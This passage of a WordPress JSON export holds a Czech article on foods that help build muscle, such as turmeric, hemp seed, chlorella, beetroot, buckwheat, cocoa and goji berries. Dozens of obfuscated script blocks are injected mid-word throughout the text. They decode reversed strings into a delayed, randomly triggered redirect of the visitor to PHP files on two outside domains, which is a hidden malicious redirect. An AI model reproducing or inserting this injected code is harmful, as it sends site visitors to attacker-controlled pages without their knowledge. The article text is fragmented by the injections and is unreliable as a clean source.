koktejl\u016f, ovesn\u00e9 ka\u0161e \u010di sal\u00e1t\u016f.<\/p>\n<ol start=\"3\">\n<li><strong>LEVEL<\/strong><\/li>\n<\/ol>\n<p>S\u00a0ohledem na p\u0159edchoz\u00ed dva levely je ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to slo\u017een\u00fd z\u00a0potravin, kter\u00e9 by po spln\u011bn\u00ed p\u0159edchoz\u00edch n\u00e1rok\u016f ve va\u0161em j\u00eddeln\u00ed\u010dku tak\u00e9 nem\u011bly chyb\u011bt. Jedn\u00e1 se o polo\u017eky tak trochu specifick\u00e9 \u2013 n\u011bkter\u00e9 z\u00a0nich nab\u00edz\u00ed \u017eiviny, kter\u00e9 byste jinde obt\u00ed\u017en\u011b hledali, maj\u00ed slibn\u00e9 \u00fa\u010dinky a velmi p\u0159\u00edzniv\u00fd vliv na budov\u00e1n\u00ed svalov\u00e9 hmoty.<\/p>\n<p><strong>KURKUMA<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-264 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/turmeric-3251560_640-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/turmeric-3251560_640-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/turmeric-3251560_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>V\u00a0roce 2009 byla provedena studie, jej\u00ed\u017e v\u00fdsledky publikoval \u010dasopis Nutrition. Ta vnesla sv\u011btlo do antikatabolick\u00fdch vlastnost\u00ed ko\u0159en\u00ed zn\u00e1m\u00e9ho jako kurkuma. Kurkumin obsa\u017een\u00fd v\u00a0kurkum\u011b podporuje regeneraci unaven\u00fdch sval\u016f. Kurkuma je tak\u00e9 siln\u00fdm antioxidantem, stimuluje metabolismus tuk\u016f a m\u00e1 protiz\u00e1n\u011btliv\u00e9 \u00fa\u010dinky. Sou\u010dasn\u011b sni\u017euje riziko vzniku n\u011bkter\u00fdch druh\u016f rakoviny.<\/p>\n<p>BONUSOV\u00dd TIP: kurkumou m\u016f\u017eete posypat nap\u0159\u00edklad grilovan\u00e9 maso. Na Kansas State University byla provedena studie, kter\u00e1 prok\u00e1zala, \u017ee maso ko\u0159en\u011bn\u00e9 kurkumou m\u00e1 a\u017e o 40 % ni\u017e\u0161\u00ed pod\u00edl heterocyklick\u00fdch amin\u016f (rakovinotvorn\u00fdch l\u00e1tek, kter\u00e9 vznikaj\u00ed v\u00a0potravin\u00e1ch upravovan\u00fdch p\u0159i vysok\u00fdch teplot\u00e1ch).<\/p>\n<p><strong>KONOPN\u00c9 SEM\u00cdNKO<\/strong><\/p>\n<p>Konopn\u00e9 sem\u00ednko je kompletn\u00edm zdrojem b\u00edlkovin, v\u00fdznamn\u00fdm zdrojem chlorofylu a vl\u00e1kniny, obsahuje jak omega-3, tak omega-6 mastn\u00e9 kyseliny. Cel\u00e1 sem\u00ednka jsou zdrojem albuminu a edestinu (co\u017e je b\u00edlkovina vyskytuj\u00edc\u00ed se v\u00fdhradn\u011b v\u00a0konopn\u00e9m sem\u00ednku), kter\u00e9 se rychle dost\u00e1vaj\u00ed do sval\u016f. Konopn\u00e9 sem\u00ednko obsahuje tak\u00e9 miner\u00e1ly, zejm\u00e9na zinek d\u016fle\u017eit\u00fd pro imunitu a fosfor + ho\u0159\u010d\u00edk, kter\u00e9 prosp\u00edvaj\u00ed kostem.<\/p>\n<p>BONUSOV\u00dd TIP: konopn\u00e9 sem\u00ednko p\u0159idejte do \u0159eck\u00e9ho jogurtu, posypejte j\u00edm sal\u00e1t nebo ho zam\u00edchejte do koktejlu.<\/p>\n<p><strong>CHLORELLA<\/strong><\/p>\n<p>Ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to \u0159asa vyskytuj\u00edc\u00ed se v\u00a0tekouc\u00edch vod\u00e1ch nab\u00edz\u00ed p\u0159ekvapiv\u00e9 mno\u017estv\u00ed d\u016fle\u017eit\u00fdch l\u00e1tek. Chlorela je zdrojem b\u00edlkovin, vl\u00e1kniny, vitamin\u016f, miner\u00e1l\u016f a antioxidant\u016f. Obsahuje tak\u00e9 nejvy\u0161\u0161\u00ed mo\u017en\u00fd pod\u00edl chlorofylu ze v\u0161ech rostlin. Chlorofyl navy\u0161uje koncentraci kysl\u00edku v\u00a0t\u011ble a urychluje regeneraci tk\u00e1n\u00ed i jejich r\u016fst. Ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jednobun\u011b\u010dn\u00e1 rostlina vynik\u00e1 tak\u00e9 pod\u00edlem l\u00e1tek, kter\u00e9 maj\u00ed p\u0159\u00edzniv\u00fd vliv na r\u016fst bun\u011bk a zpomaluj\u00ed proces st\u00e1rnut\u00ed.<\/p>\n<p>BONUSOV\u00dd TIP: dr\u017ete se doporu\u010den\u00ed na etiket\u011b produktu, kter\u00fd jste si koupili, jinak <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e nejsou k\u00a0dispozici \u017e\u00e1dn\u00e9 \u00fadaje ohledn\u011b d\u00e1vkov\u00e1n\u00ed chlorelly.<\/p>\n<p><strong>\u010cERVEN\u00c1 \u0158EPA<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-263 alignright\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-beets-1725799_640-300x200.jpg\" alt=\"\" width=\"300\" height=\"200\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-beets-1725799_640-300x200.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/red-beets-1725799_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>\u0160\u0165\u00e1va z\u00a0\u010derven\u00e9 \u0159epy obsahuje vitamin C, \u017eelezo, drasl\u00edk a m\u011b\u010f, podporuje n\u00e1r\u016fst hladiny energie i jej\u00ed n\u00e1sledn\u00fd v\u00fddej. Chcete dos\u00e1hnout lep\u0161\u00edho napumpov\u00e1n\u00ed? Pak je pr\u00e1v\u011b \u010derven\u00e1 \u0159epa jedn\u00edm z\u00a0nejbohat\u0161\u00edch zdroj\u016f nitr\u00e1t\u016f, kter\u00e9 najdete i ve \u0161pen\u00e1tu a kter\u00e9 <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik prosp\u00edvaj\u00ed mi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tochondri\u00edm. V\u00a0\u010dasopise European Journal of Applied Physiology byly zve\u0159ejn\u011bny v\u00fdsledky studie, je\u017e prok\u00e1zala, \u017ee suplementace betainem obsa\u017een\u00fdm v\u00a0cukrov\u00e9 \u0159ep\u011b nab\u00edz\u00ed mo\u017enost podpo\u0159it synt\u00e9zu svalov\u00fdch b\u00edlkovin. D\u016fle\u017eit\u00fd je i de<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toxifika\u010dn\u00ed \u00fa\u010dinek \u0159epy. Jej\u00ed konzumace m\u00e1 sou\u010dasn\u011b vliv na zlep\u0161en\u00ed funkce jater.<\/p>\n<p>BONUSOV\u00dd TIP: je-li <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to mo\u017en\u00e9, \u0159ep\u011b se ve sv\u00e9m j\u00eddeln\u00ed\u010dku nevyh\u00fdbejte, dobr\u00e1 je i \u0161\u0165\u00e1va. Oboj\u00ed sv\u011bd\u010d\u00ed t\u011blu v\u00edce ne\u017e suplemen<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e1 forma. \u010cerstv\u00e1 \u0159epa m\u00e1 vy\u0161\u0161\u00ed biologickou hodnotu. Skv\u011ble se hod\u00ed do sal\u00e1t\u016f nebo koktejl\u016f.<\/p>\n<p><strong>POHANKA<\/strong><\/p>\n<p>Jedn\u00e1 se o bezlepkov\u00e1 sem\u00ednka rostliny p\u0159\u00edbuzn\u00e9 rebarbo\u0159e, obsahuj\u00ed v\u0161ech osm esenci\u00e1ln\u00edch aminokyselin. Pohanka prosp\u00edv\u00e1 imunit\u011b d\u00edky obsahu antioxidant\u016f, zlep\u0161uje tr\u00e1ven\u00ed a potla\u010duje pocit hladu, nebo\u0165 m\u00e1 vysok\u00fd pod\u00edl vl\u00e1kniny. Prost\u0159ednictv\u00edm l\u00e1tky zvan\u00e9 d-chiroinosi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tol (p\u0159\u00edrodn\u00ed metabolit, kter\u00fd pat\u0159\u00ed do skupiny vitamin\u016f B) napom\u00e1h\u00e1 vyv\u00e1\u017eit hladinu krevn\u00ed gluk\u00f3zy, zvy\u0161uje inzul\u00ednovou senzitivitu, a jak prokazuj\u00ed n\u011bkter\u00e9 studie, zpomaluje pr\u016fb\u011bh sarkopenie, s\u00a0v\u011bkem souvisej\u00edc\u00edm \u00fabytkem svalov\u00e9 s\u00edly i hmoty.<\/p>\n<p>BONUSOV\u00dd TIP: pohanku m\u016f\u017eete pou\u017e\u00edt jako p\u0159\u00edlohu, d\u00e1 se j\u00edst ve form\u011b ka\u0161e, koup\u00edte i pohankovou mouku, ze kter\u00e9 p\u0159iprav\u00edte zdrav\u00e9 pala\u010dinky. Pohanku m\u016f\u017eete p\u0159idat do karban\u00e1tk\u016f nebo sal\u00e1t\u016f.<\/p>\n<p><strong>KAKAO<\/strong><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-262 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/cocoa-728207_640-300x169.jpg\" alt=\"\" width=\"300\" height=\"169\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/cocoa-728207_640-300x169.jpg 300w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2020\/03\/cocoa-728207_640.jpg 640w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/>V\u00a0\u010dasopise British Medical Journal byly publikov\u00e1ny v\u00fdsledky studie, kter\u00e1 prok\u00e1zala, \u017ee konzumace kakaa podporuje produkci oxidu dus\u00edku. Zat\u00edmco jin\u00e1 studie potvrdila, \u017ee d\u00edky vysok\u00e9mu obsahu flavanolu m\u00e1 kakao celou \u0159adu pozitivn\u00edch \u00fa\u010dink\u016f. D\u00edky stimulaci obsahu oxidu dus\u00edku doch\u00e1z\u00ed k\u00a0vasodilataci, ta souvis\u00ed se zlep\u0161en\u00edm transportu kysl\u00edku ve svalech a navozuje lep\u0161\u00ed napumpov\u00e1n\u00ed b\u011bhem tr\u00e9ninku. D\u00edky t\u0159et\u00ed studii v\u00edme, \u017ee specifick\u00fd fenol, zvan\u00fd epikatechin, napom\u00e1h\u00e1 odvr\u00e1tit odbour\u00e1v\u00e1n\u00ed svalov\u00e9 hmoty. D\u00edky vysok\u00e9mu pod\u00edlu antioxidant\u016f je kakao schopn\u00e9 tlumit z\u00e1n\u011bty a navy\u0161ovat inzul\u00ednovou senzitivitu.<\/p>\n<p>BONUSOV\u00dd TIP: neslazen\u00fd kakaov\u00fd pr\u00e1\u0161ek p\u0159id\u00e1vejte do proteinov\u00fdch koktejl\u016f, ovesn\u00e9 ka\u0161e a doma p\u0159ipravovan\u00fdch pala\u010dinek.<\/p>\n<p><strong>GOJI BOBULE<\/strong><\/p>\n<p>V\u00fdsledky studie publikovan\u00e9 v\u00a0The Journal of Alternative and Complementary Medicine ukazuj\u00ed, \u017ee goji bobule jsou odpov\u011bdn\u00e9 za podporu soust\u0159ed\u011bn\u00ed a ment\u00e1ln\u00ed bd\u011blost, zlep\u0161en\u00ed kvality sp\u00e1nku, n\u00e1r\u016fst hladiny energie a v\u00fdkonnosti spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f. To<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to drobn\u00e9 ovoce obsahuje hodn\u011b antioxidant\u016f, aminokyselin a drasl\u00edku, ten posledn\u011b jmenovan\u00fd p\u0159\u00edmo napom\u00e1h\u00e1 budov\u00e1n\u00ed sval\u016f. Goji obsahuj\u00ed tak\u00e9 mastn\u00e9 kyseliny, kter\u00e9 optimalizuj\u00ed enzymatick\u00e9 a hormon\u00e1ln\u00ed funkce t\u011bla. D\u00edky n\u011bkter\u00fdm studi\u00edm v\u00edme, \u017ee za podporu r\u016fstu sval\u016f m\u016f\u017ee p\u0159edev\u0161\u00edm kombinace aminokyselin a drasl\u00edku, je\u017e udr\u017euje spr\u00e1vnou funkci hypof\u00fdzy a stimuluje produkci HGH.<\/p>\n<p>BONUSOV\u00dd TIP: pou\u017eit\u00ed maj\u00ed stejn\u00e9 jako rozinky, hod\u00ed se do ovesn\u00e9 ka\u0161e, sal\u00e1t\u016f, m\u00fcsli sm\u011bs\u00ed apod.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>POKUD SE SNA\u017d\u00cdTE BUDOVAT SVALOVOU HMOTU, ZA\u010cN\u011aTE T\u00cdM, \u017dE NA VA\u0160EM TAL\u00cd\u0158I NEBUDOU CHYB\u011aT N\u00c1SLEDUJ\u00cdC\u00cd POTRAVINY. &nbsp; KDYBY BYLO BUDOV\u00c1N\u00cd SVAL\u016e SNADN\u00c9, pak by v\u0161ude kolem n\u00e1s chodili svalovci. V re\u00e1lu se na cest\u011b 